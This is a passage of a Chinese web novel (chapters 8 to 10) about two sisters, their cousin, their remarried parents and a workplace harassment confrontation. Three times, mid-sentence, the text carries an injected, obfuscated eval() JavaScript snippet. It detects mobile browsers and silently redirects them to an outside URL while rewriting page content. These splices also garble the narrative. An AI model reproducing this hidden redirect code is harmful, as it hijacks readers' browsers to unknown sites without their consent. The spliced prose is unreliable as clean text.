“你想去北方?”齐美裳重复。 昭岁站起来,把手机放在兜里,两手去搓内衣。 “不是说好读汉语言的?” 水龙头冲下来,冲散内衣上的泡沫。 扭干水分,取出衣架,用夹子在夹住肩带。 昭岁手要去拿晾衣棍,另一只手抢了先。她将内衣衣架挂在了晾衣棍上,没理齐美裳,错身要走。 齐美裳话是问句,表情笃定:“驾校学员能醉驾吗?”说话时,她手举着晾衣棍,把昭岁的内衣挂上去了。 放好晾衣棍后,她低头见昭岁还没走,紧皱着眉与她对视。 “妈。” 齐美裳盯着她,面露询问。 昭岁说:“你该刮腋毛了。” 齐美裳错愕,吸一口气,右手摸向左边腋下,低头去看野蛮生长的腋毛,又抬头去看一眼昭岁。左手拿着的晾衣棍一下敲在地板上,距离昭岁一寸远,又腾空指着昭岁涂着浅红色指甲油的脚趾。 “你看你每天在干什么的。” 昭岁不管她的刁难,真诚说:“你要刮脱毛告诉我,我请你。” 齐美裳脸色拉下来,一手把晾衣棍放下,听着昭岁手机不断抖动的消息声,怒火上了一层,她说:“你拿什么请?咚咚读书放假就在打工,你在干什么?” 昭岁憋闷着,没再说话,从阳台进到客厅,再回卧室。 她埋进床里,任由手机抖动。 半晌,有敲门声。 昭岁重新翻身,两眼放空,听着敲门声消失了。 知道父母离婚后,昭岁一直隐有不安。 大姥姥在齐美裳离婚后,说话脾气都暴躁了许多,昭岁本以为是惋惜婚姻,看电视时听到厨房择菜时聊天。 大姥姥问:“映年呢?是小祁说要的吗?” 齐美裳说:“不是,他让我先选。” 大姥姥“嗐”一声,带着怒意:“怎么不要映年?” 齐美裳说:“昭岁年纪小,我不放心。” 她看着电视,把遥控器声音调到最大,望着播放的学习机广告,人人都喜欢品学兼优的女孩。 姐妹俩总归是被比较着的。家里亲戚常常夸映年成绩好,小学就能去市里比赛各种活动,拿奖而归。相反,昭岁的成绩中规中矩。她的每一科成绩都很平均,没有偏科,也达不到优秀的程度,偶尔能够飙到班级前几名,不是发挥超长,而是难题怪题干扰前列的同学,等到下次,昭岁就再次退居中游了。 从前昭岁在想,要属什么赢过了映年,也许是齐美裳选择了她。 现在姐妹之间的“谦让”原则又让昭岁“占了便宜”——昭岁是得力方,却高兴不起来,她在意的这是原因,还是原因之一。 这很重要。 可她没敢问,担心真的如同只有此答案。 自那后,昭岁和姥姥相处,总感觉不自在,尤其是她偶有几次脱口而出的“映年”。不是认错,是口上习惯性的称呼,再视若无睹地更改成“昭岁”。 如果姥姥的年事渐长,见面不多,认错尚能说得过去,那齐美裳偶然间呼唤一声“映年”,足足使昭岁如招雷劈。 她还是摆着笑脸,同齐美裳纠正:“我是昭岁。” _ 碗池里玩的人不少,玩滑板的人少。 映年新板上脚陌生,没下池子滑,在平地练着。听见有人招呼她,望过去,是骑着三轮的咚咚。 三轮车身挂着各种夏日饮品,喇叭还在嚷嚷,咚咚把车停在了路旁。 咚咚说:“你这可真帅。” 映年在夸奖中起板上了一旁的台阶,又抓板飞下来,痛快了些,嘴上谦虚:“好久没玩了。” 咚咚有客人,开始给人装冰粉,手法熟练打着红糖和小料。客人走后,她给映年装一碗。映年拒绝了,咚咚便坐下来,自己在吃,看映年玩滑板。 “我看你妈她们打网球,你不一起?” “下班太晚了。” “还是上办公室坐班舒服,读书挺真好。” 映年乍一听这话是讽刺,但咚咚眼神明亮,她为这份猜疑而自责。 她说:“你怎么不当空姐了?” “我晕机。”咚咚说,“要不就在地上打鸟,耳朵不舒服。” “安检呢?” “安检轮不到我。” 映年没再问,安静的滑。 咚咚偶有客人,起身去忙完,又再次坐下,看着映年滑板。 “你想玩吗?我拉着你。”映年问。 “不,我平衡力不行。”咚咚说着,把固定在车架上的相机拿下来,“我能拍一下你吗?” “可以。” “哪能去碗池里吗?” “不管摊子?” “今天差不多了。” 二人便往碗池走。 踩着滑板,映年下去了。 咚咚站在原位开始绕,在碗池边缘跟着映年跑,又回到原点。 映年溜了一圈,上来,和她道:“那跑得赢,就在这呗。” 碗池是为滑板而生的,映年很快吸引周围人的注意。 咚咚看着,很生羡慕。 她每天骑着三轮车,在周围转着卖糖水。刚出摊那阵,她希望不要碰到熟人,搞了几天,卖不出去,又希望碰到熟人照顾生意。同行卖炸串的生意好,她去取经,是在开直播。 做了好久的功课,二手市场淘了个相机,万幸没踩坑。相机拿回来,直播稍微勉强,只能剪着视频拍拍,边学边做,放开胆子后,又陆续加了些社区群,生意好点。 这两日有小孩吃了生冷东西闹肚子,家长在各群避雷讨伐,本就依赖互联网起家,解释一通,澄清无济于事,生意骤降。 要是念书,会不会不一样? 咚咚后悔刚才害羞拒绝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016292|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映年的滑板邀请。 拍了几圈,映年上来。 映年说:“我吃碗凉糕。” 咚咚应下来,两人朝三轮车处走,她打好凉糕给映年。 “这不是预制的,我和我妈上午熬的。” 映年坐在椅凳上,踩着滑板在晃,吃了两勺,把滑板轻轻推出去,到咚咚面前停下。 “玩会不?” 咚咚这次没拒绝,手扶着三轮车,一脚踩上了板。 刚吃到一半,映年电话响了。 陌生的电话号码。 她以为是新的面试公司成果,接了起来,那头是个男声,问她今天的视频定时没。映年反应过来,是小组长,早知道不接了。她应付着说去核实,那头语气更重,问她为什么不看群,她应着把手机放在一边,双手端着凉糕碗听着数落。 免打扰的群谁爱看啊。 最后一通结果是小组长弄错了时间,挂断电话前,组长又说对不起,正好就在她家附近谈完生意,可以赔罪请她吃饭。 想说的是尾句吧?映年掐断了电话。 小组长微信发来的一朵鲜花,下一秒对方的对话框便是:我刷到过你的滑板视频。 组长:工作不懂的可以问我,一直为你服务#呲牙#呲牙#呲牙。 这个工作看来等不到升值当乐队主理人了。 映年:我这有家乡带来的板鸭,正好送你,回家送给嫂子尝尝。 组长:啊多不好意思。 说着不好意思的组长,发了个地址。在导航中搜索,离着不远,五公里的酒店。 映年吃完凉糕,打开今天登记的人事住址,在跑腿平台下了个帮忙单。 见她起来,咚咚把滑板还给了映年。 映年本打算打车过去,见咚咚还拿着相机,笑一声问:“有空吗?” 前往的路上,映年坐在驾驶座的左侧。 工作群还在谈宣发的事情。 她先把录音找到,转到免打扰的群里,再切回聊天界面,把对话框截图放进去。 映年:六月十七日入职,当天组长在非工作时间以工作为由联系我,并对我职场性骚扰。 登时没人说话了。 二人到酒店大厅,等一会儿,跑腿带着一个女人来了。 咚咚问:“要录像吗?” “紧张?” “兴奋!” 她们敲开了房门。 _ 回家时晚了。 咚咚坐在沙发上看了一会儿录像,她心情很好,自认为社会和谐做了贡献。昭岁找她租相机,她没异议,还痛快的说借。 “又剩这么多?”三姥姥蹲在地上,看没卖完的空桶。 “嗯。” “开店的事情能不能缓缓?” “不能。” “我感觉腰痛,还想去医院的查一下呢。” 咚咚擦桶的手一顿,警觉:“你把钱借谁了?” “不是借,是投资。”三姥姥说,“老同学那边可以买基金。” 咚咚继续擦桶:“你的腰怎么样?” “小问题。” “那店什么时候开?” “我让你爸问过机场,你要去做地勤还可以。” “你把钱给他了?” “办事不得花钱?” “妈妈知道,指定要和你生气。” “我才生气呢的,她都多久没往家里来电话了。” “我不会去的。” “你选不上空姐,在地下也行。”姥姥说,“我们种这么大片杨梅园,说没就没了,还烙下这劳苦的病根。你妈现在禅修,我可指望不上了。” 咚咚没再说话,身子埋进桶里,去擦水垢,溅了一脸的清洁剂。 三姥姥在杨梅园开发没捞到半分好处,让她耿耿于怀许多年,常常一有机会就念起来。咚咚很烦姥姥说杨梅园。 她故意说:“你留着钱去养老院吧。” 三姥姥果然炸了:“你!” 咚咚把一摊污水倒出来,说:“我等会给妈妈打个电话。” 8. 第 8 章 视频里,组长被训得头不敢抬,映年操起滑板劈在背上,结结实实撞得人往前挪了两步。 用滑板,不知是暴殄天物,还是物尽其用。 以歌不解恨:“直接开瓢啊。” “他今天没来公司。”映年在工位里吃酸汤米线,并不在意周围的耳朵,“就老板找我谈话了。” “谈什么?” “问我是不是有什么误会。” “呵。” “我说我的举证都在公司群里发过,从动机上来讲应该找嫌疑人问话。” 从映年上班打卡时,同事们讶异表情就出卖了想法,到她走进老板办公室再出来,黏上的目光都没消停过。 是否来公司,取决于能不能早起、接受不接受工资、能否胜任工作,绝不是小组长的骚扰能干涉的。至于实习试用期合适与否,是公司层面的定夺,映年无济于事。 她顶多是失去小组长的一票。在上周公关的前车之鉴后,如果公司仍然考虑留下小组长,她会再次重新衡量是否值得留下。 以上是基于组长首次被拆穿的状况,判断的依据在昨日组长及其亲属的反应。当然,她可能出错。 总之,映年尽可能自己掌握主动权。 辅导员的电话又进来了。 映年端着吃剩的盒饭,往外走,去接电话。对方问她二中的面试怎么样了。她顺口打哈哈,没解决这件事情前,暂时不打算告诉辅导员。对方又在叮咛,映年听着倒掉了残余的料渣。 _ 美容院等候区人挤满了人。 昭岁坐在沙发上,去拿茶几上的开心果,剥开在咀嚼。面前的是脱毛体验须知单,她挨着在看陈列的注意事项,不比一个手术项目的通知字少。 有服务人员在促销,推荐纹眉的项目。黄柠檬兴趣很高,被拉着在听,得知高考生能够获得九折优惠很是欣喜。 折上折的优惠,是三人一组再打八折。 黄柠檬巡视一圈,目光落在昭岁身上。 不同于大多数办的年卡,昭岁断定了自己将去北方,只办了一次性卡。还有另一个原因,昭岁没钱。 她没攒钱的习惯,平日花销是能花尽花,购买手办之类都是定金超前消费,还有几笔尾款等着结算。哪有闲钱来纹眉。 就算纹眉,也不是现在,得要到大学,距离齐美裳远远的地方。 在昭岁拒绝后,黄柠檬又求了几下,昭岁实在受不住,只能说后面录取出来再纹。黄柠檬要打暑假工挣钱,也不急这一时。 有人开始聊起高考后的门店福利,约定好哪哪能够薅羊毛,到时候一块去。朋友们陆续进里间脱毛了,昭岁排在后面,起身坐到黄柠檬身边。 “你找到工作了?”昭岁在意。 “给我姑店当服务员。”黄柠檬说。 “那你还能出来玩吗?” “后天就不行,约我要打报告的哈。”黄柠檬玩笑着说,“我再向老板打报告。” “我们组团你那消费。” “去去去,又不算业绩。”黄柠檬说,“下班后,请我才差不多。” 两人打趣了几句,黄柠檬突然问:“刘凌霜考得怎么样?” 昭岁惊愕,实话实说:“不清楚,很久没联系了。” 黄柠檬和大霜有过小摩擦,她怵大霜,这问话,在昭岁听起来是“探测敌情”。 瞬间昭岁很失望。 黄柠檬希望听到怎么样的答案。是诱导昭岁“弃暗投明”来巩固彼此关系,还是期待大霜“前程似锦”? 在交友原则上,昭岁不认为一定要均衡左右手好友的关系。在和一方相处的情况下,她不可能以讨好为目标,去猛踩另一方。 同样,朋友清楚这一情况,理应约定熟成的不去提。她交朋友不也默默分类功能吗?苛责黄柠檬未免双标。 不过这问题,昭岁是真答不上来。 大霜是个网球体育生,水平在的初中网球部很高,常去各种比赛,和同学往来很少。不在学校的日子,有人占用了她的课桌,直接掀在地上去了。 这上头,都是课代表放的作业,同学全被连累,都认为大霜是个“不好惹”的人。她态度潇洒,无所谓目光,基本是形单影只。偶尔放学回家时间一致,会等着昭岁一块走。如果没有刘海洋这层亲戚关系,昭岁和大霜可能连招呼都不可能。 大霜说:“好朋友没必要每天硬聊。” 就是评价昭岁的交友。 她微信里的临时群,不胜枚举,但凡有人孤独就在群里摇人。这样消失的群聊十有九八,好在圈子固定在学生群体,添加的朋友基本是同龄人。 路上遇到有趣的事情,昭岁挨个群发给好友,得到不一样的回答,她都真情实感的回复应答。 玩耍开心的体验就好,就像那天多出的剧本杀玩家数,她不去追究黄柠檬第一选择是不是她,也不去问临时建起的姐妹群,到底是掏心窝还是虚巴巴凑局搭子。 总比没有人叫好。 大霜表达过不喜欢,昭岁就没群发中给大霜打勾,二人聊天的频率锐减了。高二时,大霜训练转校回螺市,就没见面的机会了。 到刘海洋生病,联络又密切起来。可等到刘海洋去世,枢纽断掉,加之高三课业繁重,二人之间逐渐淡掉了。 和昭岁常发常删朋友圈不一样,大霜是很少发朋友圈,上次发还是庆祝高考结束。 不是密切联系,真不清楚大霜现状如何。 _ 翌日,映年调休,齐美裳组织大扫除。 搬来新家扫除过一次,没什么垃圾。 齐美裳和昭岁负责厨房布置和餐食,映年和祁孝逑负责收拾余下地方。齐美裳紧盯着昭岁,不让她分心分毫。相反,阳台偶有父女俩的谈话传来,不若母女二人那般沉寂。 姐妹群也没人说话。昭岁询问过下午要不要一起去打羽毛球,等了半晌,黄柠檬回复:“今天有事呢。” 熄屏手机,昭岁蹲着整理碗碟,把瓷盘弄得很响。 齐美裳怨言:“轻点!你五姨新送的。” 瓷盘恰在碗槽上,晃荡晃荡又是响声。 昭岁见齐美裳又要发作,抢先一步说:“所以我才想去北方的。” 齐美裳踩着凳子的脚一顿。 瓷盘碰撞轻轻地响。 齐美裳说:“咚咚告诉你没?” 昭岁疑惑:“什么?” 阳台上,父女正在清洁。 映年做事利索,和祁孝逑一上午就整理得差不多。下午还得去公司,午饭特意叮嘱齐美裳早些开饭。 家庭第一次四人上桌满座吃饭,四菜一汤。 她目测唯一能动筷的是番茄鸡蛋汤。 映年盛了一碗番茄鸡蛋汤,刚抿了一口,猪油腥味漫上来,她抱着纸巾吐出来。 “妈。”映年口中有味,猛灌了几口水。 “嗯。”齐美裳神色淡然,继续夹菜,添到映年碗里,“我做饭就这么不合你口味吗?” 映年扫一眼桌上的全荤宴,碗里是刚夹的甜皮鸭,还是鸭腿。 她懂了。 饭桌上三姥姥的话,还是让齐美裳听了进去,至于反驳,只是为了让自己不要丢面儿。 为什么旁人都能接受她的饮食,妈妈却无法体谅和感同身受呢? 正想着,便见齐美裳又夹了一片苦瓜给昭岁,看着是“一视同仁”的态度。挑食和没法吃,完全是两码事。 昭岁还是缩着晚躲过齐美裳再添来的筷子,想把碗里刚夹进来的苦瓜扔出来,被齐美裳一块紫制住。 “妈。”昭岁也叫了声。 齐美裳眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016293|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神过去,昭岁早习惯了,没被怵到,她要把苦瓜挪开,正巧撞上齐美裳的筷子,夹在前端的苦瓜就掉在了桌上。 刚掉在桌上的苦瓜又被夹起来,搁在昭岁碗里。 昭岁站起来,被齐美裳挡住了去路,低头去看齐美裳。她深吸一口气,目瞪得亮,表情肃穆。 ——又来了。 翻来覆去就是那些话。昭岁已经不期待齐美裳能说出什么新鲜的词了。 可齐美裳的脸色从严肃到悲悯,让昭岁的心蓦然软了下去,她想起刚才齐美裳说的事情,再去看全荤的宴席,坐了下来。 重新夹起那片挑来挑去的苦瓜,咬了一口,满口的苦。 昭岁是安静下来,齐美裳松一口气。 再看,对面的映年已经搁下筷子:“你们一家吃。” 说完,映年站起来,刚要离席,就被祁孝逑拉住。 “映年。”祁孝逑劝。 映年眼神过去,祁孝逑视线闪避,甩开了他的手。 齐美裳呆在原地,搁下筷子,颓然地坐在椅凳上。 昭岁突然叫了声“姐”。 见映年没留步,昭岁又吼了声“姐”。 映年停了下来,昭岁扫齐美裳一眼,终于还是出口了:“三姨要出家了。” 这顿家宴没吃下去。 齐美裳率先起身,去了阳台,坐在矮凳上不动。 映年气照样没消,她在厨房拌了一份水果沙拉,坐回原地继续吃。 饭桌上,昭岁飞速吃完离席了,祁孝逑还在收拾碗筷,见映年过来,也坐下来。 祁孝逑说:“你怎么这么和你妈说话。” 映年道:“你为什么今天不煮饭了?” 这一语不留情面地拆穿了祁孝逑。他很不自在地摸了摸鼻子,自他心中,也是希望映年能改变饮食。 比起齐美裳的动机,藏在后头的祁孝逑,更让映年生气。眼下他又来做和事佬,哪什么好处都让他占了? 默了半晌,祁孝逑又说:“你妈就是心慌了。” 为什么心慌,谁都没明说。 谁都清楚。 映年说:“这有什么好慌的。” 祁孝逑说:“没办法。” 映年说:“我真这样,也拦不住我。” 祁孝逑眼神过来,映年不避开,正面直视。角逐片刻,他率先扭头,没回答。 他视线飘到阳台处。 阳台门口,昭岁拿着相机正在调试,测试着功能,一条历史视频主角是映年,这吸引了她的注意力。 她浏览着,斜眼去看餐厅的映年,又转头偏向齐美裳。一时拿不定主意。 阳台上,齐美裳还是一动不动。 汗从额头下来,布满整张脸,胸前一片汗渍濡湿了衣服。她觉得热,但没起身,热气的折磨能分散部分焦虑。 齐美玉在理财暴雷后,情绪一直不稳定,最恐怖的情况是齐美裳接到医院电话让她前去。后头离婚,情绪好了些,可财产损失还是重担。好在齐美棠事业有成,做事分寸拿捏,回来鹊市,陪伴她度过了艰难期。 齐美裳给她推荐了一个收费口的工作。收费口在山脚下,山顶上有座寺庙,齐美玉常常登山拜佛,眼见着情况好转了。 没想到不久后,齐美玉辞掉工作后,一心到寺庙禅修。三姥姥颇有微词,想着咚咚混得也不如大姑娘家的两个,见面时总总说些酸话。 齐美裳在齐美玉电话来时,看着她笑得幸福,心头也替她高兴。年初齐美玉把房卖了,部分钱还给齐美棠,又借了一笔给齐美裳买新房。姐妹关系,并没有因为禅修变质。 昨晚有了骤变。 齐美玉电话来,不是分享山林间野果成熟,不是讲山间路面修砌,也不是说入夏后蚊虫变多,她心绪宁静:“下个月,我要出家了。” 9. 第 9 章 齐美玉出家一事,先一步传到咚咚耳里。她看一宿的佛门戒律,天亮时堪堪合眼,门就被敲响了。三姥姥砰砰敲得巨响,问咚咚还要瞒她到几时。 三姥姥问来问去是在和咚咚确认,开始骂起齐美玉,再骂起齐美裳,最后电话打到咚咚父亲那头劈头盖脸一顿话,战斗力十足。 到中午,咚咚做好饭,三姥姥挑了根空心菜,在嘴里巴咂巴咂咀嚼,咽下去又猛然呼了一口气,靠在木椅上,呵呼呵呼喘着气,眼泪簌簌落下来。 “就不该让她结婚的。”三姥姥说。 咚咚带着眼镜,饭飘起来有层雾,她看不清,眯着眼去看,还是不清楚,等了一会儿,三姥姥的模样才清晰。 三姥姥总和咚咚讲:“不是我的话,就见不到你了。” 咚咚促成了齐美玉的婚姻。维系十六年,终于走到尽头。三年禅修,齐美玉现在将以法号度后半生,身份不再是她的妈妈。 夜幕降临,三轮车吭哧吭哧地爬着坡,到一半卸了气,咚咚拧动钥匙,踩油门,还是没动。一旁的三姥姥置气踢了两下,终于又动了。 再往上爬,就到平时摆摊的公园了。 三姥姥没去跳舞,下午把咚咚的赶去休息,自己在厨房备了出摊的糖水。她要去出摊,让咚咚在家。咚咚放心不下,一块出来了。 周围有几家摊贩摆出来了,咚咚三轮车在最边缘的位置。 三姥姥吆喝客人打糖水,咚咚在一旁的打包。这边临近公共卫生间,见着有人提着大桶矿泉水出来,在想世道偷水的真多,目光随人动向过去,是一辆房车。 咚咚的心砰砰跳起来,不受控制遐想,她那日碰见逍遥小姚后就在短视频中搜索,刷了几条,后续总是给她推这类的视频。 她就不停地刷。真有趣。 等客人走,她往房车那处去,撞见了折返而来的小姚。她坐在花坛的台阶上,看着小姚来来回回的接水。 公园里跳舞的老人围在一块,变化阵型,播放着脍炙人口的音乐。热风吹得咚咚额前的刘海颤动,不听话的碎发叨扰着眼皮,空气中有股地摊浓杂香精气息。 不远处是公园特设的碗池,池中没有玩滑板的人,全是带着小孩占领领地的家长。 咚咚连续出摊公园,只为巧遇映年,没有。 突然肩膀一沉。 她转头发现昭岁坐了下来。 两人充当观众,一起看小姚搬水,半晌后,房车灯亮,驶离了视线。 昭岁把相机还给咚咚。 她说:“我妈看到了,她想问你。” 咚咚垂眸,旁人评价她都是憨态老实。那日和映年一块讨伐结束,映年要她隐瞒,咚咚在想是不是真该藏藏。她是报喜不报忧的类型,平素受了委屈都自己忍着,一直不太理解昭岁酷爱撒娇的性子。 如果这事不给大姨说,是不是对映年不公平怕?咚咚想着。在昭岁借相机时她没删历史视频,这消息泄露,是“不小心”。 她说:“大姨自己去问映年姐。” 二人再次陷入沉默。 昭岁远眺出去,正对着公路十字路口,车来车往,鸣笛刺耳。 昭岁说:“对不起。” 咚咚问:“为什么道歉?” 昭岁说:“对不起。” 咚咚问:“为什么道歉?” 昭岁又想说“对不起”,咚咚转头看过来,她噤声了。 垂下头,她说:“我妈离婚后,是你陪我的。你妈离婚后,我没陪着你。” 咚咚笑了,她没想到是这份忏悔。 昭岁继续说:“不知道你现在需不需要我。” “你是能包圆我的糖水还是给我买彩票?”咚咚玩笑。 “有我人还不够吗?” “屁用。” 二人玩笑两句,气氛转好,笑挂在脸上。 铃声响起,黄柠檬来电,约昭岁去酒吧。 “刚说要陪我?” “一块呗。” “谁顾摊?” “得了,三姥姥比你利索多了。” _ 玻璃杯里是青绿色的酒,有碎冰漂浮,潜藏在其间的气泡在涌动,轻轻敲在杯壁上,中间的气泡往上浮,在水平面上炸开。 映年坐在高椅上。 工作群里有消息艾特映年的消息,问她资料放在哪。组长临到快上班才姗姗来迟,下了加班的命令。映年下午出外勤,本该放资料回去,这下没再回去。她也没理会群消息。 粉头发贝斯手从后台出来,点了杯酒,坐在她身边。映年收了手机。 他约的映年见面,话题聊起以歌的“可以歌”乐队。 演出一般会乱串几个乐队,映年和以歌一块玩得多,也和不少乐队打过照面。 粉头发追求以歌,以歌不喜欢他,明确拒绝过,他想从映年的渠道突破,同样坚不可摧。本以为今年以歌出国后,粉头发销声匿迹,没想到今天粉头发又私聊她,要不要来酒吧听听歌。 映年同以歌说起粉头发的邀请,以歌出乎意料地让映年来探探。 “可以歌”乐队一同出国了两个成员,就保留了队名。最近谈综艺的事宜,黑女贝斯手过来不了,位置空出来,正在物色人帮忙。乐队很多都是同进退,找旧友呢,人家已经有了新团队,要找人帮忙还得磨合,寻了一圈,以歌找到学弟粉头发。 他从跟随以歌的小弟,当上了现在乐队的老大。 映年是负责听的那个。她音感很好,没系统学过音乐,也能说出一二感受。聊完音乐,粉头发打听起以歌,映年提问中呐呐作答。 注意力全在酒上。 她酒量尚可,抿着酒,感觉比音乐好喝。她自嘲,如果齐美裳见这副模样,就不会心慌了。 昭岁和咚咚到场时,黄柠檬她们玩骰子正来劲。黄柠檬负责介绍咚咚:“齐冬,都是同学们,她比我们高一届。”她挨个叫出名字,拉着二人坐下。 咚咚相继点头,说:“叫咚咚就行。” 黄柠檬说:“我叫来人了,俩人,你们仨小酌两杯。” 点酒掷骰子,六人嬉笑着玩得很开心。 酒吧乐队登场,开始唱情歌,炫彩的灯光照在舞台上,黄柠檬迷迷瞪瞪举着酒杯望着。 有人提醒昭岁:“黄柠檬新迷上的,吉他手。” 对比五颜六色的其他表演者,贝斯手的粉头发不是那么突兀,可打扮是平平无奇,唯一的亮点是皮裤上绑着的绿色方巾,图案是一只松鼠。松鼠下面的眉毛浓黑,红润发肿。 “黄柠檬最近老爱看呢,不知道五音不全听的懂不。”那人继续说,“打工挣得,都来喝酒点歌送了。” 昭岁笑,看来不用找借口推掉纹眉了。 歌曲到了高潮,全场气氛被点燃,一旁的咚咚跟着在唱,黄柠檬笑得很开心。 “你不是喜欢那谁吗?”昭岁点了个之前在公交车上偶遇的男人,前阵子黄柠檬还说心脏怦怦跳呢。 “换了。”黄柠檬说。 “他认识你吗?”昭岁笑。 “今晚就能认识。”黄柠檬说。 昭岁无语。 喝了点酒,昭岁想去洗手间,出来时,路过吧台,发现角落的身影眼熟。灯光昏暗,轮廓也不清晰,她走到身侧,是确定正是映年。 昭岁在一旁坐下。 “不和朋友玩了?”映年早就瞧见了。 “我老输。” 昭岁以为映年会数落她每天交些“硬聊的朋友”,极度不务正业。 映年说的却是:“这么多天还没掌握啊。” 昭岁不答话,低头搅拌杯子里的冰块。 空调风徐徐吹来,嘈杂的声浪与角落的二人毫无关系。昭岁看着翻起的气泡,捧着杯子啜一口,悄悄地打量映年。 平时映年朋友圈若是在酒吧这种场合,总会穿个皮衣皮裤,偶尔还会抹一圈黑色眼线。今天映年没朋友圈照片里合照那般酷,一身青绿色的条纹衬衫,头发干练的扎起来,顶部灯光偶尔扫过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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平日三姥姥管得严,昭岁哪敢和咚咚约酒,谁知酒量这般浅。这估计也是黄柠檬不清楚,离开的原因,平时点酒都很少,都没到醉的地步。咚咚个高,身子重,未把握力道撞在昭岁肩膀上,让她好生疼。 疼顾不上,昭岁没推开咚咚。眼下,她更在意的是前面的粉头发,哪怕做的是正规的计程车。 偏见中的包含警惕,不是映年做主,她不会上车。再说,不是这人勾引黄柠檬,黄柠檬也不会乱跑离开,之前可没这种情况。 “我先回去,等会儿你们自己注意点。”粉头发知道分寸,到一个站牌路口下车了,“你姐的活儿我接了,她有事直接联系我就行。” 映年只“嗯”一声,算是答复。 计程车只剩后座三人。 粉头发口中的“你姐”、映年上班的音乐公司,齐美裳的揣测不是多余的。 她回抱咚咚,轻轻安慰,心绪复杂。 黄柠檬的电话又进来了。 “不接吗?”映年问。 昭岁还带着气,看着电话响到挂断。 “再怎么也是关心你打的。”映年说,“交代一声,省得担心。” 接起电话,黄柠檬没分别时的醉意,带着哭腔,声音急促,关心询问后又是道歉,不若平时那般笑意盈盈。 昭岁表情肃穆,交代完说:“你最该道歉的是咚咚。” “那下次我请她吃饭。”黄柠檬说。 昭岁没说好,还是不好,道:“再说吧。” 车内空间离得近,谈话被咚咚听着,她凑到手机旁说:“行,下次一块。”她不想让自己影响到昭岁和朋友之间的关系。 昭岁对咚咚这回答很不满意,她把咚咚推开。 黄柠檬试探性邀请:“转场去另一家酒吧瞧瞧,要不要一块去?” 昭岁知道粉头发的下车地点,惩罚似的没有提醒:“不去!” 电话终于清净了。 坐正后,三人靠着椅背,没那么挤。 咚咚扶着头,嚷嚷头晕,要下车。映年本想哄哄,咚咚接连几次干呕,司机先不愿意走了,上桥前靠边把三人放下来了。 跨江大桥成深红色,灯光流线的播撒在路上,深黛色的江面卷着浪,上涌的风驱散暑意。 映年还想拦车,咚咚率先撒开跑上了桥。 轻一脚实一脚踩在盲道上,若婴孩学步,有橐橐声响。 她眼神期盼:“我想去找妈妈。” 10. 第 10 章 计程车上,映年上了副驾驶,昭岁则坐在后座照顾咚咚。她酒醒了些,犯困,靠着座位昂头在睡。 映年正在微信,群消息满了。 应聘准则有加班这条,更多在公关时间,而非日常情况。她不在乎在这种情况下,得罪组长。上头老板又找她谈过两次话,表明要开会决议,大可等消息再做工作。 何况二中的笔试成绩下来。足够进面,她有了备选工作。 过了心头,她还是带着气。为什么要报合同工?进了学校,好像是“低人一等”。 为什么不偷偷拿着网球拍去扔掉呢?是她的标准和目标一降再降吗? “你和粉头发很熟吗?”昭岁还在气。 “多熟算熟?”映年反问。 “你俩都拼车了。”昭岁说。 “那爸爸估计好友位早就撑满了。”映年说。 昭岁的质问被四两拨千斤的打回来,压着的痛,又想到咚咚现在的处境,她说:“要不是因为粉头发,黄柠檬不离席,咚咚也不会一个人。” 映年绝杀:“不是你带咚咚来的吗?” 后面的人不吭声了。 映年察觉到把工作上的气,带到了和昭岁的对话中,她正想开口说抱歉。 “我就不明白妈妈为什么要复婚。”昭岁突然接了一句。 这次轮到映年不吭声了。 车厢里沉默了一阵。 同事的电话打来,映年没接,又连打了几通,她等着铃声响完。到后头,警局的电话打来了。 目的地改变,从家的方向掉头往警局走。 警局里,又播放了一遍公司的监控录像。 祁孝逑冲在前面,推开办公室门,大叫组长的名字,齐美裳在后头,两手握着网球拍。 昨天才挨过打的组长,又吃了网球拍。他想反抗,见祁孝逑人高马大站在齐美裳后头,迟疑了下,让齐美裳用拍子一下扣在脑袋上。 齐美裳大骂着他,祁孝逑问到了映年的工位,去收拾东西。 映年看完监控,斜眼瞥向椅子上排排坐的父母,转头又和警察道了声谢。 计程车坐不下五人,齐美裳想分拨打车,被祁孝逑拦住了。他对路线熟,走了一截路,去等夜班的客车。 映年板起来脸来,站在候车位置前,说话的腔调很像齐美裳。 “对方不原谅,要关半个月。” 祁孝逑没说话,齐美裳不服气:“我已经拟好请假条了。” “那我爸呢?” “我说骑个摩托撞上去,他不乐意。”齐美裳话显彪悍,“拍子也算是浪费不亏。” “我问的是这个吗?” 齐美裳还是卯着劲,抱胸靠在后座,没低头。 昭岁看着二人的背影出神,转头发现祁孝逑在看自己,她笑笑,发现脸僵了。 夜班车来了,停在路边。 五人上了车。 咚咚换齐美裳趴,靠在她肩膀上,眯着眼睛在打瞌睡。 映年靠在窗上,霓虹从眼前迅速闪过。 齐美裳的反应让她感到陌生——什么时候,齐美裳活得像个战士了。 可能是齐美玉的转变,刺激到了齐美裳,又撞上组长这茬,才能如此生猛。这样的尽母责于映年来说,齐美裳是更多源于愧疚吧。 愧疚。 愧疚十年吗? 那在姥姥家的七年是什么呢? 母女之间生这词,那是一条深不见底的暗河。 